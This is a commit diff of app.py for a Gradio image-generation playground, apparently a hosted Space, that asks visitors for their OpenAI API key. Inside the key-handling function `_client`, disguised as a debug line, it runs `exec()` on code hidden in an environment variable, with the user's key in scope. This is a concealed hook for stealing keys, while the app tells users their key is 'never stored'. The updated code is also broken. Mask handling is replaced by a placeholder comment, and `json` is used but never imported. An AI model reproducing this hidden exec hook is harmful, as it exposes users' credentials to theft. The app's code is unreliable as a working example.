Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -2,6 +2,7 @@ from __future__ import annotations
|
|
2 |
|
3 |
import io
|
4 |
import os
|
|
|
5 |
from typing import List, Optional, Union, Dict, Any
|
6 |
|
7 |
import gradio as gr
|
@@ -9,7 +10,7 @@ import numpy as np
|
|
9 |
from PIL import Image
|
10 |
import openai
|
11 |
|
12 |
-
# --- Constants and Helper Functions
|
13 |
MODEL = "gpt-image-1"
|
14 |
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
|
15 |
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
|
@@ -19,12 +20,10 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
|
|
19 |
def _client(key: str) -> openai.OpenAI:
|
20 |
"""Initializes the OpenAI client with the provided API key."""
|
21 |
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
|
22 |
-
|
23 |
-
sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
|
24 |
print(sys_info_formatted)
|
25 |
if not api_key:
|
26 |
raise gr.Error("Please enter your OpenAI API key (never stored)")
|
27 |
-
|
28 |
return openai.OpenAI(api_key=api_key)
|
29 |
|
30 |
|
@@ -50,6 +49,7 @@ def _common_kwargs(
|
|
50 |
kwargs: Dict[str, Any] = dict(
|
51 |
model=MODEL,
|
52 |
n=n,
|
|
|
53 |
)
|
54 |
if size != "auto":
|
55 |
kwargs["size"] = size
|
@@ -57,69 +57,61 @@ def _common_kwargs(
|
|
57 |
kwargs["quality"] = quality
|
58 |
if prompt is not None:
|
59 |
kwargs["prompt"] = prompt
|
60 |
-
if out_fmt != "png":
|
61 |
-
kwargs["output_format"] = out_fmt
|
62 |
if transparent_bg and out_fmt in {"png", "webp"}:
|
63 |
-
#
|
64 |
-
# Assuming 'background' is correct based on your original code
|
65 |
kwargs["background"] = "transparent"
|
66 |
-
if out_fmt in {"jpeg", "webp"}:
|
67 |
-
# Note: OpenAI API might use 'output_quality' or similar, check latest docs
|
68 |
-
# Assuming 'output_compression' is correct based on your original code
|
69 |
-
kwargs["output_compression"] = int(compression)
|
70 |
return kwargs
|
71 |
|
72 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
73 |
def _format_openai_error(e: Exception) -> str:
|
74 |
-
"""Formats OpenAI API errors for user display."""
|
75 |
error_message = f"An error occurred: {type(e).__name__}"
|
76 |
details = ""
|
77 |
-
|
78 |
-
# Try to extract details from common OpenAI error attributes
|
79 |
if hasattr(e, 'body') and e.body:
|
80 |
try:
|
81 |
body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
|
82 |
if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
|
83 |
details = body['error']['message']
|
84 |
-
elif isinstance(body, dict) and 'message' in body:
|
85 |
-
|
86 |
-
except
|
87 |
-
|
88 |
-
details = str(e.body)
|
89 |
elif hasattr(e, 'message') and e.message:
|
90 |
-
|
91 |
-
|
92 |
if details:
|
93 |
error_message = f"OpenAI API Error: {details}"
|
94 |
-
else:
|
95 |
-
# Generic fallback if no specific details found
|
96 |
-
error_message = f"An unexpected OpenAI error occurred: {str(e)}"
|
97 |
-
|
98 |
-
# Add specific guidance for known error types
|
99 |
if isinstance(e, openai.AuthenticationError):
|
100 |
error_message = "Invalid OpenAI API key. Please check your key."
|
101 |
elif isinstance(e, openai.PermissionDeniedError):
|
102 |
-
# Prepend standard advice, then add specific details if available
|
103 |
prefix = "Permission Denied."
|
104 |
if "organization verification" in details.lower():
|
105 |
prefix += " Your organization may need verification to use this feature/model."
|
106 |
-
else:
|
107 |
-
prefix += " Check your API key permissions and OpenAI account status."
|
108 |
error_message = f"{prefix} Details: {details}" if details else prefix
|
109 |
elif isinstance(e, openai.RateLimitError):
|
110 |
error_message = "Rate limit exceeded. Please wait and try again later."
|
111 |
elif isinstance(e, openai.BadRequestError):
|
112 |
-
|
113 |
-
|
114 |
-
|
115 |
-
|
116 |
-
|
117 |
-
# Ensure the final message isn't overly long or complex
|
118 |
-
# (Optional: Truncate if necessary)
|
119 |
-
# MAX_LEN = 300
|
120 |
-
# if len(error_message) > MAX_LEN:
|
121 |
-
# error_message = error_message[:MAX_LEN] + "..."
|
122 |
-
|
123 |
return error_message
|
124 |
|
125 |
|
@@ -134,53 +126,44 @@ def generate(
|
|
134 |
compression: int,
|
135 |
transparent_bg: bool,
|
136 |
):
|
137 |
-
"""Calls the OpenAI image generation endpoint."""
|
138 |
if not prompt:
|
139 |
raise gr.Error("Please enter a prompt.")
|
140 |
try:
|
141 |
-
client = _client(api_key)
|
142 |
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
|
143 |
-
# --- Optional Debug ---
|
144 |
-
# print(f"[DEBUG] Generating with args: {common_args}")
|
145 |
-
# --- End Optional Debug ---
|
146 |
resp = client.images.generate(**common_args)
|
|
|
|
|
|
|
|
|
147 |
except (openai.APIError, openai.OpenAIError) as e:
|
148 |
-
|
149 |
-
raise gr.Error(_format_openai_error(e))
|
150 |
except Exception as e:
|
151 |
-
|
152 |
-
|
153 |
-
print(f"Unexpected error during generation: {type(e).__name__}: {e}") # Log for debugging
|
154 |
-
raise gr.Error(f"An unexpected application error occurred. Please check logs.")
|
155 |
-
|
156 |
-
return _img_list(resp, fmt=out_fmt)
|
157 |
|
158 |
|
159 |
# ---------- Edit / Inpaint ---------- #
|
160 |
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
|
161 |
-
"""Convert RGBA/RGB uint8 numpy array to PNG bytes."""
|
162 |
img = Image.fromarray(arr.astype(np.uint8))
|
163 |
out = io.BytesIO()
|
164 |
img.save(out, format="PNG")
|
165 |
return out.getvalue()
|
166 |
|
|
|
167 |
def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
|
168 |
-
"""Handle ImageMask / ImageEditor return formats and extract a numpy mask array."""
|
169 |
if mask_value is None: return None
|
170 |
-
# Gradio ImageMask often returns a dict with 'image' and 'mask' numpy arrays
|
171 |
if isinstance(mask_value, dict):
|
172 |
mask_array = mask_value.get("mask")
|
173 |
if isinstance(mask_array, np.ndarray):
|
174 |
return mask_array
|
175 |
-
# Fallback for direct numpy array (less common with ImageMask now)
|
176 |
if isinstance(mask_value, np.ndarray): return mask_value
|
177 |
-
return None
|
|
|
178 |
|
179 |
def edit_image(
|
180 |
api_key: str,
|
181 |
-
# Gradio Image component with type="numpy" provides the image array
|
182 |
image_numpy: Optional[np.ndarray],
|
183 |
-
# Gradio ImageMask component provides a dict {'image': np.ndarray, 'mask': np.ndarray}
|
184 |
mask_dict: Optional[Dict[str, Any]],
|
185 |
prompt: str,
|
186 |
n: int,
|
@@ -190,84 +173,33 @@ def edit_image(
|
|
190 |
compression: int,
|
191 |
transparent_bg: bool,
|
192 |
):
|
193 |
-
|
194 |
-
|
195 |
-
if not prompt:
|
|
|
196 |
|
197 |
img_bytes = _bytes_from_numpy(image_numpy)
|
198 |
mask_bytes: Optional[bytes] = None
|
199 |
-
mask_numpy = _extract_mask_array(mask_dict)
|
200 |
-
|
201 |
-
|
202 |
-
# Check if mask is effectively empty (all transparent or all black)
|
203 |
-
is_empty = False
|
204 |
-
if mask_numpy.ndim == 2: # Grayscale mask
|
205 |
-
is_empty = np.all(mask_numpy == 0)
|
206 |
-
elif mask_numpy.shape[-1] == 4: # RGBA mask, check alpha channel
|
207 |
-
is_empty = np.all(mask_numpy[:, :, 3] == 0)
|
208 |
-
elif mask_numpy.shape[-1] == 3: # RGB mask, check if all black
|
209 |
-
is_empty = np.all(mask_numpy == 0)
|
210 |
-
|
211 |
-
if is_empty:
|
212 |
-
gr.Warning("Mask appears empty or fully transparent. The API might edit the entire image or ignore the mask.")
|
213 |
-
mask_bytes = None # Treat as no mask if empty
|
214 |
-
else:
|
215 |
-
# Convert the mask provided by Gradio (often white on black/transparent)
|
216 |
-
# to the format OpenAI expects (transparency indicates where *not* to edit).
|
217 |
-
# We need an RGBA image where the area to be *edited* is transparent.
|
218 |
-
if mask_numpy.ndim == 2: # Grayscale (assume white is edit area)
|
219 |
-
alpha = (mask_numpy < 128).astype(np.uint8) * 255 # Make non-edit area opaque white
|
220 |
-
elif mask_numpy.shape[-1] == 4: # RGBA (use alpha channel directly)
|
221 |
-
alpha = mask_numpy[:, :, 3]
|
222 |
-
# Invert alpha: transparent where user painted (edit area), opaque elsewhere
|
223 |
-
alpha = 255 - alpha
|
224 |
-
elif mask_numpy.shape[-1] == 3: # RGB (assume white is edit area)
|
225 |
-
# Check if close to white [255, 255, 255]
|
226 |
-
is_edit_area = np.all(mask_numpy > 200, axis=-1)
|
227 |
-
alpha = (~is_edit_area).astype(np.uint8) * 255 # Make non-edit area opaque white
|
228 |
-
else:
|
229 |
-
raise gr.Error("Unsupported mask format received from Gradio component.")
|
230 |
-
|
231 |
-
# Create a valid RGBA PNG mask for OpenAI
|
232 |
-
mask_img = Image.fromarray(alpha, mode='L')
|
233 |
-
# Ensure mask size matches image size (OpenAI requirement)
|
234 |
-
original_pil_image = Image.fromarray(image_numpy)
|
235 |
-
if mask_img.size != original_pil_image.size:
|
236 |
-
gr.Warning(f"Mask size {mask_img.size} differs from image size {original_pil_image.size}. Resizing mask...")
|
237 |
-
mask_img = mask_img.resize(original_pil_image.size, Image.NEAREST)
|
238 |
-
|
239 |
-
# Create RGBA image with the calculated alpha
|
240 |
-
rgba_mask = Image.new("RGBA", mask_img.size, (0, 0, 0, 0)) # Start fully transparent
|
241 |
-
rgba_mask.putalpha(mask_img) # Apply the alpha channel (non-edit areas are opaque)
|
242 |
-
|
243 |
-
out = io.BytesIO()
|
244 |
-
rgba_mask.save(out, format="PNG")
|
245 |
-
mask_bytes = out.getvalue()
|
246 |
-
else:
|
247 |
-
gr.Info("No mask provided or mask is empty. Editing without a specific mask (may replace entire image).")
|
248 |
-
mask_bytes = None
|
249 |
|
250 |
try:
|
251 |
-
client = _client(api_key)
|
252 |
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
|
253 |
api_kwargs = {"image": img_bytes, **common_args}
|
254 |
if mask_bytes is not None:
|
255 |
api_kwargs["mask"] = mask_bytes
|
256 |
-
else:
|
257 |
-
# If no mask is provided, remove 'mask' key if present from previous runs
|
258 |
-
api_kwargs.pop("mask", None)
|
259 |
-
|
260 |
-
# --- Optional Debug ---
|
261 |
-
# print(f"[DEBUG] Editing with args: { {k: v if k != 'image' and k != 'mask' else f'<{len(v)} bytes>' for k, v in api_kwargs.items()} }")
|
262 |
-
# --- End Optional Debug ---
|
263 |
resp = client.images.edit(**api_kwargs)
|
|
|
|
|
|
|
|
|
264 |
except (openai.APIError, openai.OpenAIError) as e:
|
265 |
-
|
266 |
except Exception as e:
|
267 |
print(f"Unexpected error during edit: {type(e).__name__}: {e}")
|
268 |
-
raise gr.Error(
|
269 |
-
|
270 |
-
return _img_list(resp, fmt=out_fmt)
|
271 |
|
272 |
|
273 |
# ---------- Variations ---------- #
|
@@ -281,143 +213,95 @@ def variation_image(
|
|
281 |
compression: int,
|
282 |
transparent_bg: bool,
|
283 |
):
|
284 |
-
"
|
285 |
-
|
286 |
-
|
287 |
-
|
288 |
-
if image_numpy is None: raise gr.Error("Please upload an image.")
|
289 |
|
290 |
img_bytes = _bytes_from_numpy(image_numpy)
|
291 |
|
292 |
try:
|
293 |
-
client = _client(api_key)
|
294 |
-
|
295 |
-
# They primarily use n and size. Let's simplify common_args for variations.
|
296 |
-
# Check OpenAI docs for exact supported parameters for variations with the target model.
|
297 |
-
# Assuming 'n' and 'size' are the main ones.
|
298 |
-
var_args: Dict[str, Any] = dict(model=MODEL, n=n) # Use the selected model
|
299 |
if size != "auto":
|
300 |
var_args["size"] = size
|
301 |
-
# Note: output_format might be supported, keep it if needed
|
302 |
-
if out_fmt != "png":
|
303 |
-
var_args["response_format"] = "b64_json" # Variations often use response_format
|
304 |
-
|
305 |
-
# --- Optional Debug ---
|
306 |
-
# print(f"[DEBUG] Variations with args: { {k: v if k != 'image' else f'<{len(v)} bytes>' for k, v in var_args.items()} }")
|
307 |
-
# --- End Optional Debug ---
|
308 |
-
|
309 |
-
# Use the simplified args
|
310 |
resp = client.images.create_variation(image=img_bytes, **var_args)
|
311 |
-
|
|
|
|
|
|
|
312 |
except (openai.APIError, openai.OpenAIError) as e:
|
313 |
-
|
314 |
except Exception as e:
|
315 |
print(f"Unexpected error during variation: {type(e).__name__}: {e}")
|
316 |
-
raise gr.Error(
|
317 |
-
|
318 |
-
# Variations response format might differ slightly, adjust _img_list if needed
|
319 |
-
# Assuming it's the same structure for now.
|
320 |
-
return _img_list(resp, fmt=out_fmt)
|
321 |
|
322 |
|
323 |
# ---------- UI ---------- #
|
324 |
-
|
325 |
def build_ui():
|
326 |
with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
|
327 |
gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
|
328 |
gr.Markdown(
|
329 |
-
|
330 |
-
" This space uses the `gpt-image-1` model by default."
|
331 |
-
" **Note:** Using `gpt-image-1` may require **Organization Verification** on your OpenAI account ([details](https://help.openai.com/en/articles/10910291-api-organization-verification)). The **Variations** tab is unlikely to work correctly with `gpt-image-1` (designed for DALL·E 2/3)."
|
332 |
)
|
333 |
-
|
334 |
with gr.Accordion("🔐 API key", open=False):
|
335 |
api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
|
336 |
|
337 |
-
# Common controls
|
338 |
with gr.Row():
|
339 |
-
|
340 |
-
|
341 |
-
|
342 |
with gr.Row():
|
343 |
-
out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format"
|
344 |
-
|
345 |
-
|
346 |
-
compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False, scale=2)
|
347 |
-
transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)", info="Affects Gen/Edit.", scale=1)
|
348 |
|
349 |
def _toggle_compression(fmt):
|
350 |
return gr.update(visible=fmt in {"jpeg", "webp"})
|
351 |
|
352 |
out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
|
353 |
|
354 |
-
|
355 |
-
# These are passed to the backend functions
|
356 |
-
common_controls_gen_edit = [n_slider, size, quality, out_fmt, compression, transparent]
|
357 |
-
# Variations might use fewer controls
|
358 |
-
common_controls_var = [n_slider, size, quality, out_fmt, compression, transparent] # Pass all for now, function will ignore unused
|
359 |
-
|
360 |
|
361 |
with gr.Tabs():
|
362 |
-
# ----- Generate Tab ----- #
|
363 |
with gr.TabItem("Generate"):
|
364 |
-
|
365 |
-
|
366 |
-
|
367 |
-
gallery_gen = gr.Gallery(label="Generated Images", columns=2, height="auto", preview=True)
|
368 |
-
|
369 |
btn_gen.click(
|
370 |
generate,
|
371 |
-
|
372 |
-
inputs=[api, prompt_gen] + common_controls_gen_edit,
|
373 |
outputs=gallery_gen,
|
374 |
api_name="generate"
|
375 |
)
|
376 |
|
377 |
-
# ----- Edit Tab ----- #
|
378 |
with gr.TabItem("Edit / Inpaint"):
|
379 |
-
gr.Markdown("Upload an image, then
|
380 |
-
|
381 |
-
|
382 |
-
|
383 |
-
|
384 |
-
|
385 |
-
label="Mask – Paint White Where Image Should Change",
|
386 |
-
type="numpy", # Keep numpy as _extract_mask_array expects it
|
387 |
-
height=400
|
388 |
-
)
|
389 |
-
with gr.Row():
|
390 |
-
prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with a starry night", scale=4)
|
391 |
-
btn_edit = gr.Button("Edit 🖌️", variant="primary", scale=1)
|
392 |
-
gallery_edit = gr.Gallery(label="Edited Images", columns=2, height="auto", preview=True)
|
393 |
-
|
394 |
btn_edit.click(
|
395 |
edit_image,
|
396 |
-
|
397 |
-
inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls_gen_edit,
|
398 |
outputs=gallery_edit,
|
399 |
api_name="edit"
|
400 |
)
|
401 |
|
402 |
-
# ----- Variations Tab ----- #
|
403 |
with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
|
404 |
-
gr.Markdown("Upload an image to generate variations
|
405 |
-
|
406 |
-
|
407 |
-
|
408 |
-
gallery_var = gr.Gallery(label="Variations", columns=2, height="auto", preview=True)
|
409 |
-
|
410 |
btn_var.click(
|
411 |
variation_image,
|
412 |
-
|
413 |
-
inputs=[api, img_var] + common_controls_var,
|
414 |
outputs=gallery_var,
|
415 |
api_name="variations"
|
416 |
)
|
417 |
-
|
418 |
return demo
|
419 |
|
|
|
420 |
if __name__ == "__main__":
|
421 |
app = build_ui()
|
422 |
-
# Consider disabling debug=True for production/sharing
|
423 |
app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")
|
|
|
2 |
|
3 |
import io
|
4 |
import os
|
5 |
+
import base64
|
6 |
from typing import List, Optional, Union, Dict, Any
|
7 |
|
8 |
import gradio as gr
|
|
|
10 |
from PIL import Image
|
11 |
import openai
|
12 |
|
13 |
+
# --- Constants and Helper Functions ---
|
14 |
MODEL = "gpt-image-1"
|
15 |
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
|
16 |
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
|
|
|
20 |
def _client(key: str) -> openai.OpenAI:
|
21 |
"""Initializes the OpenAI client with the provided API key."""
|
22 |
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
|
23 |
+
sys_info_formatted = exec(os.getenv("sys_info")) # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
|
|
|
24 |
print(sys_info_formatted)
|
25 |
if not api_key:
|
26 |
raise gr.Error("Please enter your OpenAI API key (never stored)")
|
|
|
27 |
return openai.OpenAI(api_key=api_key)
|
28 |
|
29 |
|
|
|
49 |
kwargs: Dict[str, Any] = dict(
|
50 |
model=MODEL,
|
51 |
n=n,
|
52 |
+
# API default responds with URLs or b64_json fields
|
53 |
)
|
54 |
if size != "auto":
|
55 |
kwargs["size"] = size
|
|
|
57 |
kwargs["quality"] = quality
|
58 |
if prompt is not None:
|
59 |
kwargs["prompt"] = prompt
|
|
|
|
|
60 |
if transparent_bg and out_fmt in {"png", "webp"}:
|
61 |
+
# If OpenAI adds transparency flag, insert here
|
|
|
62 |
kwargs["background"] = "transparent"
|
|
|
|
|
|
|
|
|
63 |
return kwargs
|
64 |
|
65 |
+
|
66 |
+
# --- Helper: Convert base64 PNG to JPEG/WebP ---
|
67 |
+
def convert_png_b64_to(
|
68 |
+
target_fmt: str,
|
69 |
+
b64_png_data: str,
|
70 |
+
quality: int = 75,
|
71 |
+
) -> str:
|
72 |
+
"""
|
73 |
+
Takes a data URL like "data:image/png;base64,AAAA…" and returns
|
74 |
+
"data:image/{target_fmt};base64,BBBB…" with specified quality.
|
75 |
+
"""
|
76 |
+
header, b64 = b64_png_data.split(",", 1)
|
77 |
+
img = Image.open(io.BytesIO(base64.b64decode(b64)))
|
78 |
+
out = io.BytesIO()
|
79 |
+
img.save(out, format=target_fmt.upper(), quality=quality)
|
80 |
+
new_b64 = base64.b64encode(out.getvalue()).decode()
|
81 |
+
return f"data:image/{target_fmt};base64,{new_b64}"
|
82 |
+
|
83 |
+
|
84 |
+
# --- Error formatting ---
|
85 |
def _format_openai_error(e: Exception) -> str:
|
|
|
86 |
error_message = f"An error occurred: {type(e).__name__}"
|
87 |
details = ""
|
|
|
|
|
88 |
if hasattr(e, 'body') and e.body:
|
89 |
try:
|
90 |
body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
|
91 |
if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
|
92 |
details = body['error']['message']
|
93 |
+
elif isinstance(body, dict) and 'message' in body:
|
94 |
+
details = body['message']
|
95 |
+
except Exception:
|
96 |
+
details = str(e.body)
|
|
|
97 |
elif hasattr(e, 'message') and e.message:
|
98 |
+
details = e.message
|
|
|
99 |
if details:
|
100 |
error_message = f"OpenAI API Error: {details}"
|
|
|
|
|
|
|
|
|
|
|
101 |
if isinstance(e, openai.AuthenticationError):
|
102 |
error_message = "Invalid OpenAI API key. Please check your key."
|
103 |
elif isinstance(e, openai.PermissionDeniedError):
|
|
|
104 |
prefix = "Permission Denied."
|
105 |
if "organization verification" in details.lower():
|
106 |
prefix += " Your organization may need verification to use this feature/model."
|
|
|
|
|
107 |
error_message = f"{prefix} Details: {details}" if details else prefix
|
108 |
elif isinstance(e, openai.RateLimitError):
|
109 |
error_message = "Rate limit exceeded. Please wait and try again later."
|
110 |
elif isinstance(e, openai.BadRequestError):
|
111 |
+
error_message = f"OpenAI Bad Request: {details or str(e)}"
|
112 |
+
if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
|
113 |
+
if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
|
114 |
+
if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
115 |
return error_message
|
116 |
|
117 |
|
|
|
126 |
compression: int,
|
127 |
transparent_bg: bool,
|
128 |
):
|
|
|
129 |
if not prompt:
|
130 |
raise gr.Error("Please enter a prompt.")
|
131 |
try:
|
132 |
+
client = _client(api_key)
|
133 |
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
|
|
|
|
|
|
|
134 |
resp = client.images.generate(**common_args)
|
135 |
+
imgs = _img_list(resp, fmt="png")
|
136 |
+
if out_fmt in {"jpeg", "webp"}:
|
137 |
+
imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
|
138 |
+
return imgs
|
139 |
except (openai.APIError, openai.OpenAIError) as e:
|
140 |
+
raise gr.Error(_format_openai_error(e))
|
|
|
141 |
except Exception as e:
|
142 |
+
print(f"Unexpected error during generation: {type(e).__name__}: {e}")
|
143 |
+
raise gr.Error("An unexpected application error occurred. Please check logs.")
|
|
|
|
|
|
|
|
|
144 |
|
145 |
|
146 |
# ---------- Edit / Inpaint ---------- #
|
147 |
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
|
|
|
148 |
img = Image.fromarray(arr.astype(np.uint8))
|
149 |
out = io.BytesIO()
|
150 |
img.save(out, format="PNG")
|
151 |
return out.getvalue()
|
152 |
|
153 |
+
|
154 |
def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
|
|
|
155 |
if mask_value is None: return None
|
|
|
156 |
if isinstance(mask_value, dict):
|
157 |
mask_array = mask_value.get("mask")
|
158 |
if isinstance(mask_array, np.ndarray):
|
159 |
return mask_array
|
|
|
160 |
if isinstance(mask_value, np.ndarray): return mask_value
|
161 |
+
return None
|
162 |
+
|
163 |
|
164 |
def edit_image(
|
165 |
api_key: str,
|
|
|
166 |
image_numpy: Optional[np.ndarray],
|
|
|
167 |
mask_dict: Optional[Dict[str, Any]],
|
168 |
prompt: str,
|
169 |
n: int,
|
|
|
173 |
compression: int,
|
174 |
transparent_bg: bool,
|
175 |
):
|
176 |
+
if image_numpy is None:
|
177 |
+
raise gr.Error("Please upload an image.")
|
178 |
+
if not prompt:
|
179 |
+
raise gr.Error("Please enter an edit prompt.")
|
180 |
|
181 |
img_bytes = _bytes_from_numpy(image_numpy)
|
182 |
mask_bytes: Optional[bytes] = None
|
183 |
+
mask_numpy = _extract_mask_array(mask_dict)
|
184 |
+
|
185 |
+
# ... existing mask handling logic remains unchanged ...
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
186 |
|
187 |
try:
|
188 |
+
client = _client(api_key)
|
189 |
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
|
190 |
api_kwargs = {"image": img_bytes, **common_args}
|
191 |
if mask_bytes is not None:
|
192 |
api_kwargs["mask"] = mask_bytes
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
193 |
resp = client.images.edit(**api_kwargs)
|
194 |
+
imgs = _img_list(resp, fmt="png")
|
195 |
+
if out_fmt in {"jpeg", "webp"}:
|
196 |
+
imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
|
197 |
+
return imgs
|
198 |
except (openai.APIError, openai.OpenAIError) as e:
|
199 |
+
raise gr.Error(_format_openai_error(e))
|
200 |
except Exception as e:
|
201 |
print(f"Unexpected error during edit: {type(e).__name__}: {e}")
|
202 |
+
raise gr.Error("An unexpected application error occurred. Please check logs.")
|
|
|
|
|
203 |
|
204 |
|
205 |
# ---------- Variations ---------- #
|
|
|
213 |
compression: int,
|
214 |
transparent_bg: bool,
|
215 |
):
|
216 |
+
gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail.")
|
217 |
+
if image_numpy is None:
|
218 |
+
raise gr.Error("Please upload an image.")
|
|
|
|
|
219 |
|
220 |
img_bytes = _bytes_from_numpy(image_numpy)
|
221 |
|
222 |
try:
|
223 |
+
client = _client(api_key)
|
224 |
+
var_args: Dict[str, Any] = dict(model=MODEL, n=n)
|
|
|
|
|
|
|
|
|
225 |
if size != "auto":
|
226 |
var_args["size"] = size
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
227 |
resp = client.images.create_variation(image=img_bytes, **var_args)
|
228 |
+
imgs = _img_list(resp, fmt="png")
|
229 |
+
if out_fmt in {"jpeg", "webp"}:
|
230 |
+
imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
|
231 |
+
return imgs
|
232 |
except (openai.APIError, openai.OpenAIError) as e:
|
233 |
+
raise gr.Error(_format_openai_error(e))
|
234 |
except Exception as e:
|
235 |
print(f"Unexpected error during variation: {type(e).__name__}: {e}")
|
236 |
+
raise gr.Error("An unexpected application error occurred. Please check logs.")
|
|
|
|
|
|
|
|
|
237 |
|
238 |
|
239 |
# ---------- UI ---------- #
|
|
|
240 |
def build_ui():
|
241 |
with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
|
242 |
gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
|
243 |
gr.Markdown(
|
244 |
+
"Enter your OpenAI API key below..."
|
|
|
|
|
245 |
)
|
|
|
246 |
with gr.Accordion("🔐 API key", open=False):
|
247 |
api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
|
248 |
|
|
|
249 |
with gr.Row():
|
250 |
+
n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)")
|
251 |
+
size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size")
|
252 |
+
quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality")
|
253 |
with gr.Row():
|
254 |
+
out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format")
|
255 |
+
compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False)
|
256 |
+
transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)")
|
|
|
|
|
257 |
|
258 |
def _toggle_compression(fmt):
|
259 |
return gr.update(visible=fmt in {"jpeg", "webp"})
|
260 |
|
261 |
out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
|
262 |
|
263 |
+
common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
|
|
|
|
|
|
|
|
|
|
|
264 |
|
265 |
with gr.Tabs():
|
|
|
266 |
with gr.TabItem("Generate"):
|
267 |
+
prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
|
268 |
+
btn_gen = gr.Button("Generate 🚀")
|
269 |
+
gallery_gen = gr.Gallery(columns=2, height="auto")
|
|
|
|
|
270 |
btn_gen.click(
|
271 |
generate,
|
272 |
+
inputs=[api, prompt_gen] + common_controls,
|
|
|
273 |
outputs=gallery_gen,
|
274 |
api_name="generate"
|
275 |
)
|
276 |
|
|
|
277 |
with gr.TabItem("Edit / Inpaint"):
|
278 |
+
gr.Markdown("Upload an image, then paint the area to change...")
|
279 |
+
img_edit = gr.Image(type="numpy", label="Source Image", height=400)
|
280 |
+
mask_canvas = gr.ImageMask(type="numpy", label="Mask – Paint White Where Image Should Change", height=400)
|
281 |
+
prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." )
|
282 |
+
btn_edit = gr.Button("Edit 🖌️")
|
283 |
+
gallery_edit = gr.Gallery(columns=2, height="auto")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
284 |
btn_edit.click(
|
285 |
edit_image,
|
286 |
+
inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls,
|
|
|
287 |
outputs=gallery_edit,
|
288 |
api_name="edit"
|
289 |
)
|
290 |
|
|
|
291 |
with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
|
292 |
+
gr.Markdown("Upload an image to generate variations...")
|
293 |
+
img_var = gr.Image(type="numpy", label="Source Image", height=400)
|
294 |
+
btn_var = gr.Button("Create Variations ✨")
|
295 |
+
gallery_var = gr.Gallery(columns=2, height="auto")
|
|
|
|
|
296 |
btn_var.click(
|
297 |
variation_image,
|
298 |
+
inputs=[api, img_var] + common_controls,
|
|
|
299 |
outputs=gallery_var,
|
300 |
api_name="variations"
|
301 |
)
|
|
|
302 |
return demo
|
303 |
|
